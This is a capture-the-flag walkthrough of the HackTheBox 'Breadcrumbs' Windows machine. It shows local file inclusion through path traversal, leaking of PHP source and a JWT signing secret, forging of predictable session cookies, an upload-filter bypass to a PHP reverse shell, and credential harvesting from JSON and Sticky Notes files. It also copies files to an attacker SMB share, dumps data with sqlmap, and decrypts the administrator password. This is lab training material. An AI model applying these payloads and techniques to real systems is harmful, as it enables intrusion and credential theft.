Breadcrumbs was a hard box with crumbs to connect. This box had an LFI, source code review, and upload bypass for user shell. The upload bypass was easy as pie, but the road had miles to go. The Root privilege escalation was tricky to achieve.

As always Nmap was done and responded with lots of open ports

Nmap scan report for
Host is up (0.19s latency).
Not shown: 987 closed ports
22/tcp    open     ssh            OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp    open     http           Apache httpd 2.4.46 
135/tcp   open     msrpc          Microsoft Windows RPC
139/tcp   open     netbios-ssn    Microsoft Windows netbios-ssn
443/tcp   open     ssl/http       Apache httpd 2.4.46 
445/tcp   open     microsoft-ds?
1175/tcp  filtered dossier
1862/tcp  filtered mysql-cm-agent
3306/tcp  open     mysql?
3986/tcp  filtered mapper-ws_ethd
6001/tcp  filtered X11:1
7921/tcp  filtered unknown
10012/tcp filtered unknown

A lot of ports open with lots of possibilities. The Apache version had no vulnerabilities and hard boxes are not built with an easy exploit. Even though it had a port 443 there was nothing important to fetch from the SSL certificate. Accessing the IP returned a normal page with a link to check the books. The site was aesthetically the same on both port 80 and 443 and resembled a book lending library.

htb breadcrumbs homepage|hackthebox breadcrumbs homepage

The functionality was simple as the above image illustrates, with a proper title or author the book can be searched. The information regarding the books was not available in the box. To check how these books are fetched the request was proxied to burp. The test data was passed as a normal POST request.

POST /includes/bookController.php HTTP/1.1
User-Agent: Mozilla/5.0 
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 31
Connection: close
Cookie: PHPSESSID=8horsqkkstur64gdg9o8n6vbio


The above POST request returned a null response because there was no book with the title test and author test. I tried passing the title and author separately, which also returned a null response, method parameter was new since it was not included in the webpage, so the value was changed to 1 from 0. And that went well, it returned an error holding the internal path.

<br />
<b>Warning</b>:  Undefined array key "book" in
on line <b>28</b><br />
<br />
<b>Warning</b>:  file_get_contents(../books/): 
Failed to open stream: No such file or directory in 
on line <b>28</b><br />

The response had an internal path as well as a directory /books. The internal path had nothing to do with the crumbs so far, but it was left in the arsenal. /books was a new path, and there was a directory listing at . Directory listing is a web server function that displays the directory contents when there is no index file in a specific website directory.

Index of /books

NameLast modifiedSizeDescription
Parent Directory - 
book3.html2020-11-28 00:55379 
book7.html2020-11-28 00:55400 
book8.html2020-11-28 00:55431 
book9.html2020-11-28 00:55375 
book10.html2020-11-28 00:55446 
book11.html2020-11-28 00:55435 
book12.html2020-11-28 00:55468 
book14.html2020-11-28 00:55465 

The response for the book3.html had the Author,Title and the content.

Title: Adventures of Tom Sawyer

Author: Mark Twain

Max borrow duration: 10 days

The Adventures of Tom Sawyer is an 1876 novel by Mark Twain about a young boy growing up along the Mississippi River. It is set in the 1840s in the town of St. Petersburg, which is based on Hannibal, Missouri where Twain lived as a boy.

Using the above information the request was replayed to check the book and it responded with booking functionality. It was followed by the below response including the details of the book.

book details

Analyzed the booking request using burp, it fetched book3.html and returned the contents.

POST /includes/bookController.php HTTP/1.1
User-Agent: Mozilla/5.0 
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 24
Connection: close
Cookie: PHPSESSID=8horsqkkstur64gdg9o8n6vbio


The next step was to check whether other internal files were accessible using this request. Whenever an internal file is fetched it is better to check for an LFI. Since the internal path was known, the request was used to grab the SSH key. Unfortunately, that didn’t go well. To verify the LFI bookController.php was taken with the below request data.


The request traversed one directory back and used includes directory to fetch the required PHP file. The original code was not clean and had \r\n , it was removed to read without much effort. It never followed any coding rules at least for me.

    $out = \"\";
    require '..\/db\/db.php';
    $title = \"\";
    $author = \"\";
    if($_POST['method'] == 0){
        if($_POST['title'] != \"\"){
            $title = \"%\".$_POST['title'].\"%\";
        if($_POST['author'] != \"\"){
            $author = \"%\".$_POST['author'].\"%\";
        $query = \"SELECT * FROM books WHERE title LIKE ? OR author LIKE ?\";
        $stmt = $con->prepare($query);
        $stmt->bind_param('ss', $title, $author);
        $res = $stmt->get_result();
        $out = mysqli_fetch_all($res,MYSQLI_ASSOC);
    elseif($_POST['method'] == 1){
        $out = file_get_contents('..\/books\/'.$_POST['book']);
        $out = false;
    echo json_encode($out);

Since the query was parameterized there was no possibility for SQLi. The method parameter in the request executed two different functions, when the method equals zero the book was queried and if the method equals one the content was returned. So that was the reason for returning the error for method=1.The parameters were not matching method one.

The request for db.php responded with the below PHP code without a clean structure. A username and password were enough to move forward, but these credentials didn’t work with MySQL, SSH & SMB.

POST data
\r\n$password=\"jUli901\";\r\n$dbname=\"bread\";\r\n\r\n$con = new mysqli
($host, $user, $password, $dbname, $port) or die 
('Could not connect to the database server' . mysqli_connect_error());

After trying all possible files, a directory bruting was initiated to check other directories open for access. The result spotted a login page.

301    -> REDIRECTS TO:
301    -> REDIRECTS TO:
301    -> REDIRECTS TO:
301    -> REDIRECTS TO:
301    -> REDIRECTS TO:
301    -> REDIRECTS TO:
301    -> REDIRECTS TO:
301    -> REDIRECTS TO:
302    -> REDIRECTS TO: login.php

The page had login functionality and signup functionality. The credentials from db.php didn’t grant access. A new account was registered and logged in.


breadcrumbs login

The helper section mentioned on the login page had few usernames.

Current Helpers

The dashboard had four features Check tasks, Order pizza, User management, and File management.


breadcrumbs dashboard

Order pizza was disabled for economical reasons and file management was inactive. The other functionalities resulted in a list of respective data


IDTypeDescriptionNuke it
1ServiceAdd library checkoutNuke
2ServiceStore book information in databaseNuke
3MaintenanceFix PHPSESSID infinite session durationNuke
4OtherFinish installing password managers on all computersNuke
5URGENTFix logout button. Before the weekend if possible.Nuke

User Management

olivia24Data Analyst
john39Ad Manager
juliette20Server Admin
joeldejo-Awaiting approval

The nuke functionality was not available for the newly registered account since the account was awaiting approval. The logout was not working and the duration of the session was infinite, both were mentioned in the issues section. The dashboard was returning the above responses using following URLs.


LFI was used to fetch the contents of login.php using the traversal method.


POST /includes/bookController.php HTTP/1.1
User-Agent: Mozilla/5.0 
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 33
Connection: close
Cookie: PHPSESSID=joeldejo055036cd6fa4e25b651aeb3f96f9408c; 



"<?php\r\nrequire_once 'authController.php'; 
\r\n?>\r\n<html lang=\"en\">\r\n    
<head>\r\n        <title>Binary<\/title>\r\n   
     <meta charset=\"utf-8\">\r\n       
      <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n       
       <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\r\n

Login required PHP file authController.php, and this file was fetched by changing the POST data to book=../portal/authController.php&method=.


"<?php \r\nrequire 'db\/db.php';\r\nrequire \"cookie.php\";
\r\nrequire \"vendor\/autoload.php\";\r\nuse \\Firebase\\JWT\\
JWT;\r\n\r\n$errors = array();\r\n$username = \"\";
\r\n$userdata = array();\r\n$valid = false;\r\n
$stmt->close();\r\n        }\r\n\r\n        
$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';

As seen above authController.php required cookie.php to perform the authentication. The file had the secret key for signing the JWT token.cookie.php was fetched using the POST data book=../portal/cookie.php&method=1.


"<?php\r\n\/**\r\n * @param string $username  Username requesting session cookie
\r\n * \r\n * @return string $session_cookie Returns the generated cookie\r\n * 
\r\n * @devteam\r\n * Please DO NOT use default PHPSESSID; our security team 
says they are predictable.\r\n * CHANGE SECOND PART OF MD5 KEY EVERY WEEK\r\n
 * *\/\r\nfunction makesession($username){\r\n    $max = strlen($username) - 1;
\r\n    $seed = rand(0, $max);\r\n    $key = \"s4lTy_stR1nG_\".$username[$seed].
\"(!528.\/9890\";\r\n    $session_cookie = $username.md5($key);\r\n\r\n   
 return $session_cookie;\r\n}"

All the files were coded without following proper coding rules and had lots of gibberish content lying here and there. Cookies were created using an MD5 hash and key. The process was known from here. We have to create the cookies for the user that had higher privileges. Three admins were listed in the user management section alex, paul, and jack. paul was active as per the helpers section( I fixed the PHP code to work without errors.

 * @param string $username  Username requesting session cookie
 * @return string $session_cookie Returns the generated cookie
 * @devteam
 * Please DO NOT use default PHPSESSID; our security team says they are predictable.

function makesession($username){
    $max = strlen($username) - 1;
    $seed = rand(0, $max);
    $key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
    $session_cookie = $username.md5($key);

    return $session_cookie;

The PHP script was executed using a while loop to create all possible cookies and it returned four possible cookies.


The first cookie granted access to the admin dashboard. Paul had the privilege to upload files using the file management feature. The upload page had a warning message Please upload only .zip files!. The file upload request was proxied to Burp and uploaded an HTML file. The upload returned the following error

_**{{ define “main” }}

Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.
{{ end }}**_

This was due to insufficient JWT token. The JWT token was created using with the secret key 6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e. The payload data was changed to paul and the final cookie was created.


The upload had two fields, one for the title and the other for the file. So I tried uploading a test HTML file again, the file was uploaded successfully.

POST /portal/includes/fileController.php HTTP/1.1
User-Agent: Mozilla/5.0 
Accept: */*
Accept-Language: en-US,en;q=0.5

Content-Disposition: form-data; name="file"; filename="helloworld.html"
Content-Type: text/html


Content-Disposition: form-data; name="task"

The file was converted to ZIP, as seen in the above request. The ZIP extension was replaced with PHP, but the reverse shell by pentestmonkey was rejected with the following error message.

{{ define “main” }}
Warning: move_uploaded_file(C:\Users\www-data\Desktop\xampp\tmp\phpC8A7.tmp): Failed to open stream: Invalid argument in C:\Users\www-data\Desktop\xampp\htdocs\portal\includes\fileController.php on line 25

Warning: move_uploaded_file(): Unable to move “C:\Users\www-data\Desktop\xampp\tmp\phpC8A7.tmp” to “../uploads/” in C:\Users\www-data\Desktop\xampp\htdocs\portal\includes\fileController.php on line 25
Missing file or title :(

{{ end }}

The same method was used to upload a sample PHP file and it passed through to the uploads section. I couldn’t find the reason for the error, but with a mini shell, the initial shell was achieved. Ivan has a dedicated repository for PHP shells in GitHub, PHP reverse shells. Uploaded files were accessible from .

SOCKET: Shell has connected! PID: 5340
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.


As always the shell had limited privileges. The shell was then converted to Powershell, PowerShell is a task automation and configuration management framework from Microsoft, consisting of a command-line shell and the associated scripting language. To escalate privilege, other users were listed.

PS C:\> net user

User accounts for \\BREADCRUMBS

Administrator            DefaultAccount           development
Guest                    juliette                 sshd
WDAGUtilityAccount       www-data
The command completed successfully.

The credentials from db.php didn’t work for juliette to grant SSH access. The internal path was already known from LFI and previous errors. The SSH credential for juliette was located at the portal path. As per the information available from the user management dashboard juliette was a server admin.

PS C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData> cat juliette.json
    "pizza" : "margherita",
    "size" : "large",
    "drink" : "water",
    "card" : "VISA",
    "PIN" : "9890",
    "alternate" : {
        "username" : "juliette",
        "password" : "jUli901./())!",

The above credentials granted SSH access as juliette and the box was half done. The desktop of juliette kept an HTML file.


<td>Configure firewall for port 22 and 445</td>
<td>Not started</td>
<td>Unauthorized access might be possible</td>
<td>Migrate passwords from the Microsoft Store Sticky Notes 
application to our new password manager</td>


From the forum post Sticky-Note, it was clear how sticky notes stores the data in a SQLite file at the location C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState.

PS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8weky
b3d8bbwe\LocalState> ls
    Directory: C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStic
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         1/15/2021   4:10 PM          20480 15cbbc93e90a4d56bf8d9a29305b8
-a----        11/29/2020   3:10 AM           4096 plum.sqlite
-a----         1/15/2021   4:10 PM          32768 plum.sqlite-shm
-a----         1/15/2021   4:10 PM         329632 plum.sqlite-wal

To copy the files impacket’s was used. Impacket is a collection of Python classes for working with network protocols,

Attacking Machine
$ notes . -smb2support


juliette@BREADCRUMBS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState> copy * \\ip\\notes\\
    1 file(s) copied.

The credentials for development account was found using strings command on plum.sqlite

$ strings plum.sqlite
\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g


Using development password a binary file Krypter_Linux was identified at C:\Development. The file was copied to the attacking machine and analyzed using strings. The file was a Linux executable and that too in Windows machine!

$ file Krypter_Linux
Krypter_Linux: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, 
interpreter /lib64/, BuildID[sha1]=ab1fa8d6929805501e1793c8b4ddec5c127c6a12, 
for GNU/Linux 3.2.0, not stripped

$ strings Krypter_Linux

Krypter V1.2
New project by Juliette.
New features added weekly!
What to expect next update:
- Windows version with GUI support
- Get password from cloud and AUTOMATICALLY decrypt!
Requesting decryption key from cloud...
Account: Administrator
Server response:
Incorrect master key
No key supplied.
Krypter <key>

To test more on passmanager.htb the port was forwarded to the attacking machine using ssh -L 1234: [email protected]. The URL got the AES keys.

selectarray(1) {
  array(1) {
    string(16) "k19D193j.<19391("

From the strings output on the Linux executable, it was clear that these were the keys for decrypting the password and the URL had two parameters select and table SQL queries. The URL was passed to sqlmap to grab the encrypted password.

$ -u '' --dump
| id | account       | aes_key          | password                                     |
| 1  | Administrator | k19D193j.<19391( | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= |

The password was encoded in Base64 with an AES key. With the assistance from decrypting process was smooth. Cyberchef has more than three hundred operations. Two recipes were used for the process, one for decrypting Base64 and the other for decrypting AES. IV was an important factor here, first I tried 1 but the decrypted value was not the password. An IV or initialization vector is used to ensure that the same value is encrypted multiple times, even with the same secret key, it will not always result in the same encrypted value. This is an added security layer. p@ssw0rd!@#$9890./ was the administrator’s password and breadcrumbs was rooted.